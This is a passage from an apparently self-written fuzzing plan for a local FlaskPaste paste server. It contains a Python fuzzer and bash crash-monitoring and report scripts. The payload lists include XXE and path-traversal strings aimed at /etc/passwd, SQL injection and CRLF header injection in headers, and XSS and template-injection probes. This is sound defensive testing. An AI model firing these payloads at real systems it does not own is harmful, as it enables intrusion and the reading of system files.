async def fuzz_paste_creation(session):
|
|
"""Fuzz paste creation with various payloads."""
|
|
payloads = [
|
|
random_bytes(random.randint(1, 10000)),
|
|
null_bytes(),
|
|
unicode_bombs().encode(),
|
|
b'A' * 100_000_000, # 100MB
|
|
json.dumps({"nested": {"deep": {"structure": True}}}).encode(),
|
|
b'<?xml version="1.0"?><!DOCTYPE x[<!ENTITY xxe SYSTEM "file:///etc/passwd">]><x>&xxe;</x>',
|
|
]
|
|
|
|
for payload in payloads:
|
|
status, body = await fuzz_endpoint(session, 'POST', '/', data=payload)
|
|
if status and status not in (201, 400, 413, 429, 503):
|
|
print(f"UNEXPECTED: POST / -> {status}")
|
|
with open(RESULTS_DIR / "anomalies.log", "a") as f:
|
|
f.write(f"POST / payload={payload[:100]!r} status={status}\n")
|
|
|
|
async def fuzz_headers(session):
|
|
"""Fuzz with malicious headers."""
|
|
headers_payloads = [
|
|
{"X-Forwarded-For": "' OR 1=1--"},
|
|
{"X-SSL-Client-SHA1": "../../../etc/passwd"},
|
|
{"X-PoW-Token": "A" * 10000},
|
|
{"X-Expiry": "-1"},
|
|
{"X-Expiry": "99999999999999999999"},
|
|
{"Host": "evil.com\r\nX-Injected: true"},
|
|
{"Content-Type": "text/html; charset=utf-8\r\nX-Injected: true"},
|
|
]
|
|
|
|
for headers in headers_payloads:
|
|
status, body = await fuzz_endpoint(session, 'GET', '/', headers=headers)
|
|
if "X-Injected" in body:
|
|
print(f"HEADER INJECTION FOUND: {headers}")
|
|
|
|
async def fuzz_path_traversal(session):
|
|
"""Fuzz for path traversal."""
|
|
paths = [
|
|
"/../../../etc/passwd",
|
|
"/....//....//....//etc/passwd",
|
|
"/%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd",
|
|
"/..%252f..%252f..%252fetc/passwd",
|
|
"/<script>alert(1)</script>",
|
|
"/{{7*7}}",
|
|
"/${7*7}",
|
|
]
|
|
|
|
for path in paths:
|
|
status, body = await fuzz_endpoint(session, 'GET', path)
|
|
if status == 200 and ("root:" in body or "49" in body or "alert" in body):
|
|
print(f"VULNERABILITY FOUND: {path}")
|
|
|
|
async def main():
|
|
async with aiohttp.ClientSession() as session:
|
|
await asyncio.gather(
|
|
fuzz_paste_creation(session),
|
|
fuzz_headers(session),
|
|
fuzz_path_traversal(session),
|
|
)
|
|
|
|
if __name__ == "__main__":
|
|
asyncio.run(main())
|
|
```
|
|
|
|
---
|
|
|
|
## Phase 10: Crash Analysis
|
|
|
|
### Monitor for Crashes
|
|
|
|
```bash
|
|
# Watch server logs for errors
|
|
tail -f "$FUZZ_DIR/logs/server.log" | grep -iE "error|exception|traceback|crash|segfault" | \
|
|
tee "$FUZZ_DIR/crashes/errors.log"
|
|
|
|
# Monitor process
|
|
while true; do
|
|
if ! kill -0 $(cat "$FUZZ_DIR/server.pid") 2>/dev/null; then
|
|
echo "SERVER CRASHED at $(date)" >> "$FUZZ_DIR/crashes/crash.log"
|
|
# Restart and continue
|
|
cd /home/user/git/flaskpaste
|
|
./venv/bin/python run.py --host 127.0.0.1 --port 5099 &
|
|
echo $! > "$FUZZ_DIR/server.pid"
|
|
fi
|
|
sleep 1
|
|
done
|
|
```
|
|
|
|
### Reproduce Crashes
|
|
|
|
```bash
|
|
# Replay payloads that caused issues
|
|
for payload in "$FUZZ_DIR/crashes"/*.payload; do
|
|
echo "Replaying: $payload"
|
|
curl -X POST "$TARGET/" --data-binary "@$payload" -v
|
|
done
|
|
```
|
|
|
|
---
|
|
|
|
## Results Collection
|
|
|
|
### Summary Report
|
|
|
|
```bash
|
|
cat > "$FUZZ_DIR/generate_report.sh" << 'REPORT'
|
|
#!/bin/bash
|
|
echo "# FlaskPaste Fuzzing Results"
|
|
echo "Generated: $(date)"
|
|
echo ""
|
|
echo "## Statistics"
|
|
echo "- Total requests: $(wc -l < "$FUZZ_DIR/logs/server.log" 2>/dev/null || echo 0)"
|
|
echo "- Crashes detected: $(wc -l < "$FUZZ_DIR/crashes/crash.log" 2>/dev/null || echo 0)"
|
|
echo "- Anomalies: $(wc -l < "$FUZZ_DIR/results/anomalies.log" 2>/dev/null || echo 0)"
|
|
echo ""
|
|
echo "## Findings"
|
|
cat "$FUZZ_DIR/results/anomalies.log" 2>/dev/null
|
|
echo ""
|
|
echo "## Tool Results"
|
|
for f in "$FUZZ_DIR/results"/*.txt "$FUZZ_DIR/results"/*.json; do
|
|
[ -f "$f" ] && echo "### $(basename $f)" && head -50 "$f"
|
|
done
|
|
REPORT
|
|
chmod +x "$FUZZ_DIR/generate_report.sh"
|
|
```
|
|
|
|
---
|
|
|
|
## Quick Start
|
|
|
|
```bash
|
|
# One-liner to run everything
|
|
export FUZZ_DIR="/tmp/flaskpaste-fuzz"
|
|
export TARGET="http://127.0.0.1:5099"
|
|
mkdir -p "$FUZZ_DIR"/{db,logs,crashes,results}
|
|
|
|
# Start server
|
|
cd /home/user/git/flaskpaste
|
|
FLASKPASTE_DATABASE="$FUZZ_DIR/db/fuzz.db" \
|
|
FLASKPASTE_POW_DIFFICULTY=1 \
|
|
FLASKPASTE_RATE_LIMIT_ENABLED=false \
|
|
./venv/bin/python run.py --host 127.0.0.1 --port 5099 &
|
|
|
|
# Run fuzzing phases
|
|
sleep 2
|
|
./fuzz-phase1.sh # Recon
|
|
./fuzz-phase2.sh # Input fuzzing
|
|
./fuzz-phase3.sh # Injection
|
|
# ... etc
|
|
|
|
# Generate report
|
|
./generate_report.sh > "$FUZZ_DIR/REPORT.md"
|
|
```
|